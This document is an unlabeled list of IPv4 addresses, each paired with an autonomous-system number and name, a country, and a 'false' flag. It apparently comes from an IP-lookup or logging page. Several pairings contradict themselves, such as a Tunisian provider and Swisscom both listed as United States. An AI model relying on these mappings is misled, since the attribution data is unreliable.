4812 CHINANET-SH-APChinaTelecomGroupCN false
194.195.240.10
 unknown Germany
6659 NEXINTO-DE false
103.40.168.246
 unknown India
137443 ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK false
12.174.219.76
 unknown United States
7018 ATT-INTERNET4US false
28.180.35.160
 unknown United States
7922 COMCAST-7922US false
210.179.130.217
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
102.210.129.125
 unknown unknown
36926 CKL1-ASNKE false
213.37.51.204
 unknown Spain
6739 ONO-ASCableuropa-ONOES false
90.122.232.127
 unknown France
3215 FranceTelecom-OrangeFR false
197.147.102.175
 unknown Morocco
36884 MAROCCONNECTMA false
64.35.68.168
 unknown United States
2828 XO-AS15US false
62.57.103.57
 unknown Spain
12357 COMUNITELSPAINES false
58.7.163.160
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
187.151.177.16
 unknown Mexico
8151 UninetSAdeCVMX false
164.189.64.31
 unknown United States
37717 EL-KhawarizmiTN false
69.82.128.184
 unknown United States
6167 CELLCO-PARTUS false
131.214.112.175
 unknown United States
668 DNIC-AS-00668US false
45.188.51.46
 unknown unknown
15695 EXPEREONL false
199.58.42.176
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
185.168.37.74
 unknown Greece
206659 INTERLIFE-ASNGR false
134.213.128.132
 unknown Ireland
15395 RACKSPACE-LONGB false
215.146.95.191
 unknown United States
721 DNIC-ASBLK-00721-00726US false
214.43.194.99
 unknown United States
1540 DNIC-ASBLK-01534-01546US false
2.118.60.70
 unknown Italy
3269 ASN-IBSNAZIT false
155.11.170.160
 unknown Egypt
852 ASN852CA false
2.194.68.32
 unknown Italy
16232 ASN-TIMServiceProviderIT false
207.136.187.137
 unknown United States
3549 LVLT-3549US false
142.33.118.55
 unknown Canada
852 ASN852CA false
190.23.253.224
 unknown Paraguay
27866 COPACOPY false
70.239.231.160
 unknown United States
7018 ATT-INTERNET4US false
88.107.146.54
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
142.201.29.245
 unknown Canada
26321 TSX-GROUPCA false
55.71.156.171
 unknown United States
1530 DNIC-ASBLK-01529-01530US false
36.56.105.193
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
118.207.25.35
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
139.137.180.214
 unknown United States
22093 CCF-NETWORKUS false
130.43.34.92
 unknown Greece
1241 FORTHNET-GRForthnetEU false
222.46.67.94
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
193.143.1.59
 unknown unknown
57271 BITWEB-ASRU false
187.70.115.128
 unknown Brazil
22085 ClaroSABR false
60.20.148.106
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
158.21.148.9
 unknown United States
32033 EXXONMOBIL-UTEC-ASUS false
181.17.165.90
 unknown Venezuela
27889 TelecomunicacionesMOVILNETVE false
6.94.145.138
 unknown United States
3356 LEVEL3US false
148.75.95.220
 unknown United States
6128 CABLE-NET-1US false
102.2.234.15
 unknown unknown
36926 CKL1-ASNKE false
108.161.215.193
 unknown United States
40805 JMF-WAVEFLYUS false
74.172.83.78
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
68.186.78.120
 unknown United States
20115 CHARTER-20115US false
72.33.229.162
 unknown United States
59 WISC-MADISON-ASUS false
130.65.241.194
 unknown United States
2152 CSUNET-NWUS false